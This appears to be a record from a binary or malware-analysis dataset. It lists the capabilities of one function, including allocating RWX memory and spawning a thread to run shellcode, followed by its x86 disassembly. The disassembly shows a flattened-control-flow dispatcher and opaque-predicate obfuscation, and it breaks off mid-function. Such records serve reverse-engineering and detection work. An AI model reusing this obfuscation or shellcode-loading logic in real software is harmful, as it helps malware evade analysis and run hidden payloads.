Function at 0x402350
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Check os version
Create thread
Encode data using base64
Get number of processors
Inspect section memory permissions
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x48e88
call fcn.004973a0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x485f4], eax
mov eax, dword [0x50c200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x485ec], 0x3a3757e2
mov eax, dword [ebp - 0x485ec]
mov dword [ebp - 0x485f8], eax
sub eax, 0x82ce9cfe
je 0x41c9a3
jmp 0x402399
mov eax, dword [ebp - 0x485f8]
sub eax, 0x8330781d
je 0x40b447
jmp 0x4023af
mov eax, dword [ebp - 0x485f8]
sub eax, 0x833eae03
je 0x4164ca
jmp 0x4023c5
mov eax, dword [ebp - 0x485f8]
sub eax, 0x83993096
je 0x406c33
jmp 0x4023db
mov eax, dword [ebp - 0x485f8]
sub eax, 0x83c671ba
je 0x41d323
jmp 0x4023f1
mov eax, dword [ebp - 0x485f8]
sub eax, 0x86eea6f5
je 0x41274f
jmp 0x402407
mov eax, dword [ebp - 0x485f8]
sub eax, 0x87605bdc
je 0x41ca3e
jmp 0x40241d
mov eax, dword [ebp - 0x485f8]
sub eax, 0x8777908a
je 0x416f23
jmp 0x402433
mov eax, dword [ebp - 0x485f8]
sub eax, 0x878810d3
je 0x407415
jmp 0x402449
mov eax, dword [ebp - 0x485f8]
sub eax, 0x88f30066
je 0x41e9c7
jmp 0x40245f
mov eax, dword [ebp - 0x485f8]
sub eax, 0x89e880ac
je 0x41ec46
jmp 0x402475
mov eax, dword [ebp - 0x485f8]
sub eax, 0x8c6297ae
je 0x40410e
jmp 0x40248b
mov eax, dword [ebp - 0x485f8]
sub eax, 0x8dc2037f
je 0x40dda1
jmp 0x4024a1
mov eax, dword [ebp - 0x485f8]
sub eax, 0x8e7cc852
je 0x40ddf0
jmp 0x4024b7
mov eax, dword [ebp - 0x485f8]
sub eax, 0x8e9822c3
je 0x4060e0
jmp 0x4024cd
mov eax, dword [ebp - 0x485f8]
sub eax, 0x90fb000e
je 0x40b22d
jmp 0x4024e3
mov eax, dword [ebp - 0x485f8]
sub eax, 0x935fe59b
je 0x408b88
jmp 0x4024f9
mov eax, dword [ebp - 0x485f8]
sub eax, 0x939f4571
je 0x40606a
jmp 0x40250f
mov eax, dword [ebp - 0x485f8]
sub eax, 0x941947ac
je 0x41e6d3
jmp 0x402525
mov eax, dword [ebp - 0x485f8]
sub eax, 0x98d0ff7d
je 0x4180b5
jmp 0x40253b
mov eax, dword [ebp - 0x485f8]
sub eax, 0x995e2453
je 0x410076
jmp 0x402551
mov eax, dword [ebp - 0x485f8]
sub eax, 0x99ca160a
je 0x41e68d
jmp 0x402567
mov eax, dword [ebp - 0x485f8]
sub eax, 0x9a534bf5
je 0x408bfb
jmp 0x40257d
mov eax, dword [ebp - 0x485f8]
sub eax, 0x9ae6618a
je 0x419ebf
jmp 0x402593
mov eax, dword [ebp - 0x485f8]
sub eax, 0x9cac1f44
je 0x40df79
jmp 0x4025a9
mov eax, dword [ebp - 0x485f8]
sub eax, 0xa0542933
je 0x4119d1
jmp 0x4025bf
mov eax, dword [ebp - 0x485f8]
sub eax, 0xa103e167
je 0x40a4de
jmp 0x4025d5
mov eax, dword [ebp - 0x485f8]
sub eax, 0xa1217354
je 0x403fa3
jmp 0x4025eb
mov eax, dword [ebp - 0x485f8]
sub eax, 0xa2347c44
je 0x4084da
jmp 0x402601
mov eax, dword [ebp - 0x485f8]
sub eax, 0xa2e15214
je 0x41e8bd
jmp 0x402617
mov eax, dword [ebp - 0x485f8]
sub eax, 0xa2e88c13
je 0x40d04e
jmp 0x40262d
mov eax, dword [ebp - 0x485f8]
sub eax, 0xa399f30f
je 0x416f4d
jmp 0x402643
mov eax, dword [ebp - 0x485f8]
sub eax, 0xa45e367a
je 0x41697a
jmp 0x402659
mov eax, dword [ebp - 0x485f8]
sub eax, 0xa6402cfa
je 0x40c409
jmp 0x40266f
mov eax, dword [ebp - 0x485f8]
sub eax, 0xa6427833
je 0x40deeb
jmp 0x402685
mov eax, dword [ebp - 0x485f8]
sub eax, 0xaa31f820
je 0x41eb74
jmp 0x40269b
mov eax, dword [ebp - 0x485f8]
sub eax, 0xaa4e3ab4
je 0x40fccc
jmp 0x4026b1
mov eax, dword [ebp - 0x485f8]
sub eax, 0xab08b6d9
je 0x406097
jmp 0x4026c7
mov eax, dword [ebp - 0x485f8]
sub eax, 0xac50b301
je 0x405fd4
jmp 0x4026dd
mov eax, dword [ebp - 0x485f8]
sub eax, 0xad030d14
je 0x41e12b
jmp 0x4026f3
mov eax, dword [ebp - 0x485f8]
sub eax, 0xaf9b1d17
je 0x40b462
jmp 0x402709
mov eax, dword [ebp - 0x485f8]
sub eax, 0xb14895ac
je 0x40c418
jmp 0x40271f
mov eax, dword [ebp - 0x485f8]
sub eax, 0xb1e1629b
je 0x4084fc
jmp 0x402735
mov eax, dword [ebp - 0x485f8]
sub eax, 0xb1fcc9b5
je 0x4100fc
jmp 0x40274b
mov eax, dword [ebp - 0x485f8]
sub eax, 0xb36f98b6
je 0x4076e2
jmp 0x402761
mov eax, dword [ebp - 0x485f8]
sub eax, 0xb6aa83a2
je 0x407071
jmp 0x402777
mov eax, dword [ebp - 0x485f8]
sub eax, 0xb7bb4094
je 0x405f76
jmp 0x40278d
mov eax, dword [ebp - 0x485f8]
sub eax, 0xb8af35aa
je 0x41e9a9
jmp 0x4027a3
mov eax, dword [ebp - 0x485f8]
sub eax, 0xbc8c1027
je 0x41e6ac
jmp 0x4027b9
mov eax, dword [ebp - 0x485f8]
sub eax, 0xbf2f6dd3
je 0x4146b9
jmp 0x4027cf
mov eax, dword [ebp - 0x485f8]
sub eax, 0xbf53cc0b
je 0x40995c
jmp 0x4027e5
mov eax, dword [ebp - 0x485f8]
sub eax, 0xbfff83c6
je 0x41675f
jmp 0x4027fb
mov eax, dword [ebp - 0x485f8]
sub eax, 0xc1b54de6
je 0x4158e2
jmp 0x402811
mov eax, dword [ebp - 0x485f8]
sub eax, 0xc687384a
je 0x41e970
jmp 0x402827
mov eax, dword [ebp - 0x485f8]
sub eax, 0xc8b21030
je 0x41d2ad
jmp 0x40283d
mov eax, dword [ebp - 0x485f8]
sub eax, 0xc97b6d04
je 0x41e90b
jmp 0x402853
mov eax, dword [ebp - 0x485f8]
sub eax, 0xcaf00dde
je 0x4126fc
jmp 0x402869
mov eax, dword [ebp - 0x485f8]
sub eax, 0xcaffbb5c
je 0x40c510
jmp 0x40287f
mov eax, dword [ebp - 0x485f8]
sub eax, 0xcb4cfcce
je 0x4071d6
jmp 0x402895
mov eax, dword [ebp - 0x485f8]
sub eax, 0xcdcfd728
je 0x407080
jmp 0x4028ab
mov eax, dword [ebp - 0x485f8]
sub eax, 0xcebc31ef
je 0x419efb
jmp 0x4028c1
mov eax, dword [ebp - 0x485f8]
sub eax, 0xcf0c5e99
je 0x405081
jmp 0x4028d7
mov eax, dword [ebp - 0x485f8]
sub eax, 0xd01dbae1
je 0x4070a1
jmp 0x4028ed
mov eax, dword [ebp - 0x485f8]
sub eax, 0xd02dfd4f
je 0x410049
jmp 0x402903
mov eax, dword [ebp - 0x485f8]
sub eax, 0xd0d528a5
je 0x41495d
mov ecx, dword [0x50d548]
mov eax, dword [0x50d544]
xor esi, esi
sub esi, 0x7408b815
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, 0x7408b815
add edx, esi
mov esi, 0x9b07e014
add esi, 0
sub esi, edx
sub esi, 0x9b07e014
mov edx, ecx
add edx, 0xe80f4d43
sub edx, esi
sub edx, 0xe80f4d43
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl al
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov ch, al
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov cl, bl
xor cl, 0xff
mov ch, dl
and ch, cl
xor dl, 0xff
mov cl, bl
and cl, dl
or ch, cl
xor ch, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 0
or ch, dl
or cl, 0
xor ch, 0xff
and ch, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov dl, bl
and dl, ah
or cl, dl
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bh, cl
mov dh, dl
and dh, 0
and bl, cl
or ah, bh
or dh, bl
xor ah, dh
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov al, ch
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeb8dea2c
mov ecx, 0x8c6297ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov ecx, dword [0x50d548]
mov eax, dword [0x50d544]
xor edx, edx
sub edx, 0
xor esi, esi
sub esi, 0xbb26c27
add edx, esi
xor edi, edi
sub edi, edx
sub edi, 0xe58db396
sub edi, 1
add edi, 0xe58db396
xor edx, edx
sub edx, 0xbb26c27
add edi, edx
mov esi, 0xee742695
add esi, 0
sub esi, ecx
sub esi, 0xee742695
xor edx, edx
sub edx, 0x82d295c4
sub edx, edi
add edx, 0x82d295c4
add esi, 0xae90e6eb
add esi, edx
sub esi, 0xae90e6eb
xor edx, edx
sub edx, 0x2b5aa684
sub edx, esi
add edx, 0x2b5aa684
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
cmp eax, 0xa
setl dh
mov al, ch
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov ah, ch
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
xor al, 0xff
xor al, 0
and al, 0
mov byte [ebp - 0x48646], al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov al, dl
xor al, 0xff
mov bl, ch
xor bl, al
and bl, ch
mov al, 1
xor al, 1
and al, 1
mov bh, 1
xor bh, 1
mov cl, bh
and cl, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and bh, 1
or al, cl
mov cl, byte [ebp - 0x48646]
or ah, bh
xor al, ah
xor al, 0xff
mov bh, 1
xor bh, 0
mov ah, 1
xor ah, 1
or al, bh
or ah, 1
xor al, 0xff
and al, ah
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov ah, cl
and ah, bl
xor cl, bl
or ah, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov dl, ah
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
and ah, bl
mov al, cl
xor al, 0xff
and al, 0
and cl, bl
or dl, ah
or al, cl
xor dl, al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
xor ah, 0xff
mov cl, dh
xor cl, ah
and cl, dh
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, 1
xor al, 1
and al, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and bl, 1
or al, bh
or cl, bl
xor al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov byte [ebp - 0x48645], al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov byte [ebp - 0x48644], al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
xor bl, 0xff
mov al, 1
xor al, 1
mov bh, 1
xor bh, 0
or bl, al
mov al, byte [ebp - 0x48645]
or bh, 0
xor bl, 0xff
and bl, bh
mov byte [ebp - 0x4863e], bl
mov bl, 1
xor bl, 1
xor cl, 0xff
mov bh, 1
xor bh, 0
or bl, cl
mov cl, byte [ebp - 0x48644]
or bh, 0
xor bl, 0xff
and bl, bh
mov byte [ebp - 0x48641], bl
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x48640], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x4863f], cl
mov bl, bh
and bl, 0xff
and al, cl
mov cl, byte [ebp - 0x48644]
mov byte [ebp - 0x48643], al
mov al, byte [ebp - 0x48640]
and al, 0xff
mov byte [ebp - 0x48642], al
mov al, byte [ebp - 0x4863f]
and cl, al
mov al, byte [ebp - 0x48643]
or bl, al
mov al, byte [ebp - 0x48642]
or al, cl
mov cl, byte [ebp - 0x48641]
xor bl, al
mov al, byte [ebp - 0x48640]
or bh, al
mov al, byte [ebp - 0x4863f]
xor bh, 0xff
or al, 1
and bh, al
mov al, byte [ebp - 0x4863e]
or bl, bh
mov byte [ebp - 0x48639], bl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x4863a], bl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x4863b], bh
mov bh, 1
xor bh, 1
and bl, 0xff
and al, bh
mov byte [ebp - 0x4863d], al
mov al, byte [ebp - 0x4863b]
and al, 0xff
mov byte [ebp - 0x4863c], al
mov al, byte [ebp - 0x4863d]
and cl, bh
or bl, al
mov al, byte [ebp - 0x4863c]
or al, cl
mov cl, byte [ebp - 0x4863b]
xor bl, al
mov al, byte [ebp - 0x4863a]
or al, cl
mov cl, byte [ebp - 0x48639]
xor al, 0xff
or bh, 1
and al, bh
or bl, al
mov bh, cl
xor bh, 0xff
mov al, bl
and al, bh
xor bl, 0xff
and cl, bl
or al, cl
mov byte [ebp - 0x48613], al
mov bh, 1
xor bh, 1
and bh, 0
mov cl, 1
xor cl, 0
mov bl, cl
and bl, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, bl
or al, cl
xor bh, al
mov bl, dl
xor bl, 0xff
and bl, 1
mov al, 1
xor al, 1
mov cl, dl
and cl, al
mov byte [ebp - 0x48638], cl
mov cl, bh
xor cl, 0xff
and cl, 0xff
and bh, al
mov al, byte [ebp - 0x48638]
or bl, al
mov al, byte [ebp - 0x48613]
or cl, bh
xor bl, cl
mov bh, dl
xor bh, 0xff
mov cl, bl
xor cl, bh
and cl, bl
mov byte [ebp - 0x48635], cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and ch, bl
or cl, ch
mov byte [ebp - 0x48637], cl
mov bl, al
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and al, cl
or bl, al
mov al, 1
xor al, 1
and al, 1
mov bh, 1
xor bh, 1
mov cl, bh
and cl, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and bh, 1
or al, cl
mov cl, byte [ebp - 0x48637]
or ch, bh
xor al, ch
mov ch, cl
and ch, bl
xor cl, bl
or ch, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, ch
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and ch, bl
or al, ch
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov al, ah
xor al, 0xff
and al, 1
mov byte [ebp - 0x48636], al
mov al, 1
xor al, 1
mov bl, ah
and bl, al
mov cl, ch
xor cl, 0xff
and cl, 0xff
and ch, al
mov al, byte [ebp - 0x48636]
or al, bl
mov bl, byte [ebp - 0x48613]
or cl, ch
xor al, cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0x48622], al
mov ch, dh
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov dh, bl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and bl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, bl
or al, cl
xor dh, al
mov al, 1
xor al, 0
and al, 1
mov cl, 1
xor cl, 1
and cl, 0
or al, cl
mov cl, ch
and cl, dh
xor ch, dh
or cl, ch
mov ch, al
and ch, 0
xor al, 0
or ch, al
mov al, cl
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and cl, bl
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or al, cl
mov cl, byte [ebp - 0x48635]
or dh, bl
xor al, dh
xor ch, 0xff
mov bl, al
xor bl, ch
and bl, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and cl, ch
or al, cl
mov byte [ebp - 0x48629], al
mov al, bh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov dh, bh
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or al, dh
or cl, ch
xor al, cl
mov byte [ebp - 0x48628], al
mov dh, 1
xor dh, 0
and dh, 1
mov ch, 1
xor ch, 1
mov cl, ch
and cl, 0
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dh, cl
mov cl, byte [ebp - 0x48629]
or al, ch
xor dh, al
xor cl, 0xff
mov al, 1
xor al, 0
mov ch, 1
xor ch, 1
or cl, al
mov al, byte [ebp - 0x48635]
or ch, 1
xor cl, 0xff
and cl, ch
mov byte [ebp - 0x48632], cl
mov cl, dh
xor cl, 0xff
mov ch, al
xor ch, cl
mov cl, byte [ebp - 0x48628]
and ch, al
mov al, 1
xor al, 0
xor cl, al
mov al, byte [ebp - 0x48628]
and cl, al
xor bh, 0xff
mov al, dh
xor al, 0xff
mov byte [ebp - 0x48634], al
mov al, 1
xor al, 1
mov byte [ebp - 0x48633], al
mov al, byte [ebp - 0x48634]
or bh, al
mov al, byte [ebp - 0x48633]
or al, 1
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x48632]
mov byte [ebp - 0x48631], bh
mov bh, al
and bh, ch
xor al, ch
mov ch, byte [ebp - 0x48631]
or bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x4862b], al
xor ch, 0xff
mov byte [ebp - 0x4862c], ch
mov ch, 1
xor ch, 0
and al, 0
mov byte [ebp - 0x48630], al
mov al, byte [ebp - 0x4862c]
and cl, ch
and al, 0
mov byte [ebp - 0x4862f], al
mov al, byte [ebp - 0x48631]
and al, ch
mov byte [ebp - 0x4862e], al
mov al, byte [ebp - 0x48630]
or al, cl
mov cl, byte [ebp - 0x4862f]
mov byte [ebp - 0x4862d], al
mov al, byte [ebp - 0x4862e]
or cl, al
mov al, byte [ebp - 0x4862d]
xor al, cl
mov cl, byte [ebp - 0x4862c]
mov byte [ebp - 0x4862a], al
mov al, byte [ebp - 0x4862b]
or al, cl
mov cl, byte [ebp - 0x4862a]
xor al, 0xff
or ch, 0
and al, ch
or cl, al
mov al, bh
xor al, 0xff
mov ch, cl
and ch, al
mov al, byte [ebp - 0x48629]
xor cl, 0xff
and bh, cl
mov cl, byte [ebp - 0x48628]
or ch, bh
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x48624], bh
xor cl, 0xff
mov byte [ebp - 0x48625], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x48623], cl
and bh, 0xff
and al, cl
mov cl, byte [ebp - 0x48628]
mov byte [ebp - 0x48627], al
mov al, byte [ebp - 0x48625]
and al, 0xff
mov byte [ebp - 0x48626], al
mov al, byte [ebp - 0x48623]
and cl, al
mov al, byte [ebp - 0x48627]
or bh, al
mov al, byte [ebp - 0x48626]
or al, cl
mov cl, byte [ebp - 0x48625]
xor bh, al
mov al, byte [ebp - 0x48624]
or al, cl
mov cl, byte [ebp - 0x48623]
xor al, 0xff
or cl, 1
and al, cl
mov cl, byte [ebp - 0x48622]
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov byte [ebp - 0x48621], al
mov al, 1
xor al, 1
and bh, al
mov al, byte [ebp - 0x48621]
or al, bh
mov bh, dh
and bh, 0
xor dh, 0
or bh, dh
xor bh, 0xff
mov dh, al
xor dh, bh
and dh, al
mov al, ch
and al, dh
xor ch, dh
or al, ch
mov byte [ebp - 0x48615], al
mov al, cl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov bh, cl
and bh, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or al, bh
or ch, dh
xor al, ch
mov byte [ebp - 0x4861c], al
mov al, bl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov bh, bl
and bh, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or al, bh
or ch, dh
xor al, ch
mov byte [ebp - 0x4861e], al
mov bh, 1
xor bh, 0
and bh, 0
mov dh, 1
xor dh, 0
mov ch, dh
and ch, 0
mov al, 1
xor al, 1
and al, 0
and dh, 1
or bh, ch
mov ch, byte [ebp - 0x4861c]
or al, dh
xor bh, al
mov byte [ebp - 0x48618], bh
xor ch, 0xff
mov al, 1
xor al, 0
mov dh, 1
xor dh, 0
or ch, al
mov al, byte [ebp - 0x4861e]
or dh, 0
xor ch, 0xff
and ch, dh
xor bh, 0xff
mov dh, cl
xor dh, bh
and dh, cl
xor al, 0xff
mov bh, 1
xor bh, 0
mov cl, 1
xor cl, 0
or al, bh
mov bh, byte [ebp - 0x48618]
or cl, 0
xor al, 0xff
and al, cl
xor bh, 0xff
mov cl, bl
xor cl, bh
and cl, bl
mov bh, ch
and bh, dh
xor ch, dh
or bh, ch
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x4861d], dh
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 0
and dh, 0
and al, ch
mov byte [ebp - 0x48620], al
mov al, bl
and al, 0
mov byte [ebp - 0x4861f], al
mov al, byte [ebp - 0x48620]
and cl, ch
or dh, al
mov al, byte [ebp - 0x4861f]
or al, cl
mov cl, byte [ebp - 0x4861e]
xor dh, al
mov al, byte [ebp - 0x4861d]
or al, bl
xor al, 0xff
or ch, 0
and al, ch
or dh, al
mov bl, bh
xor bl, 0xff
and bl, 0
mov al, 1
xor al, 0
and bh, al
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, al
mov al, byte [ebp - 0x4861c]
or bl, bh
or ch, dh
xor bl, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x48619], ch
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 0
and ch, 0
and al, dh
mov byte [ebp - 0x4861b], al
mov al, bh
and al, 0
mov byte [ebp - 0x4861a], al
mov al, byte [ebp - 0x4861b]
and cl, dh
or ch, al
mov al, byte [ebp - 0x4861a]
or al, cl
mov cl, byte [ebp - 0x48619]
xor ch, al
mov al, byte [ebp - 0x48618]
or cl, bh
xor cl, 0xff
or dh, 0
and cl, dh
or ch, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
or cl, ch
mov ch, al
and ch, 0
xor al, 0
or ch, al
xor ch, 0xff
mov al, cl
xor al, ch
and al, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov bh, cl
and bh, 0
and bl, ch
mov byte [ebp - 0x48617], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0x48616], al
mov al, byte [ebp - 0x48617]
or bh, al
mov al, byte [ebp - 0x48616]
or bl, al
mov al, byte [ebp - 0x48615]
xor bh, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or bh, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov bl, al
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ch, bl
or cl, dh
xor ch, cl
xor ch, 0xff
mov cl, bh
xor cl, ch
and cl, bh
mov ch, bh
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or ch, bh
or dh, bl
xor ch, dh
xor ch, 0xff
mov bh, al
xor bh, ch
and bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x48614], al
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
and al, 0xff
and cl, ch
mov bl, dh
and bl, 0xff
and bh, ch
or al, cl
mov cl, byte [ebp - 0x48614]
or bl, bh
mov bh, byte [ebp - 0x48613]
xor al, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or al, cl
mov byte [ebp - 0x48605], al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov cl, ch
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ah, ch
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov bl, 1
xor bl, 1
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov cl, 1
xor cl, 1
and cl, 0
mov dl, 1
xor dl, 0
mov ah, dl
and ah, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or ch, cl
or al, 0
xor ch, 0xff
and ch, al
mov al, bl
xor al, 0xff
mov dl, ch
xor dl, 0xff
mov cl, 1
xor cl, 0
mov dh, al
and dh, 0
and bl, cl
mov ah, dl
and ah, 0
and ch, cl
or dh, bl
or ah, ch
xor dh, ah
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or dh, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov ch, bh
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dl, bh
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dl
or al, cl
xor ch, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov al, ah
xor al, 0xff
mov bl, 1
xor bl, 1
mov cl, 1
xor cl, 0
or al, bl
or cl, 0
xor al, 0xff
and al, cl
mov cl, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x48612], cl
mov bl, 1
xor bl, 1
mov cl, ch
xor cl, bl
and cl, ch
mov byte [ebp - 0x4860c], cl
mov cl, dl
xor cl, 0xff
mov bl, bh
xor bl, cl
mov cl, byte [ebp - 0x48612]
and bl, bh
mov byte [ebp - 0x4860f], bl
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x4860e], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x4860d], cl
mov bl, bh
and bl, 0xff
and al, cl
mov cl, byte [ebp - 0x48612]
mov byte [ebp - 0x48611], al
mov al, byte [ebp - 0x4860e]
and al, 0xff
mov byte [ebp - 0x48610], al
mov al, byte [ebp - 0x4860d]
and cl, al
mov al, byte [ebp - 0x48611]
or bl, al
mov al, byte [ebp - 0x48610]
or al, cl
mov cl, byte [ebp - 0x4860f]
xor bl, al
mov al, byte [ebp - 0x4860e]
or bh, al
mov al, byte [ebp - 0x4860d]
xor bh, 0xff
or al, 1
and bh, al
mov al, byte [ebp - 0x4860c]
or bl, bh
mov byte [ebp - 0x48607], bl
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x48608], bh
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x48609], bl
mov bl, 1
xor bl, 1
and bh, 0xff
and al, bl
mov byte [ebp - 0x4860b], al
mov al, byte [ebp - 0x48609]
and al, 0xff
mov byte [ebp - 0x4860a], al
mov al, byte [ebp - 0x4860b]
and cl, bl
or bh, al
mov al, byte [ebp - 0x4860a]
or al, cl
mov cl, byte [ebp - 0x48609]
xor bh, al
mov al, byte [ebp - 0x48608]
or al, cl
mov cl, byte [ebp - 0x48607]
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x48606], al
mov al, 1
xor al, 0
and cl, al
mov bl, bh
xor bl, 0xff
and bl, 0
and bh, al
mov al, byte [ebp - 0x48606]
or al, cl
mov cl, byte [ebp - 0x48605]
or bl, bh
xor al, bl
mov bl, ah
and bl, ch
xor ah, ch
or bl, ah
mov bh, bl
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
and bl, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or bh, bl
or ah, ch
xor bh, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor bh, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or bh, ah
or dl, 0
xor bh, 0xff
and bh, dl
mov ch, al
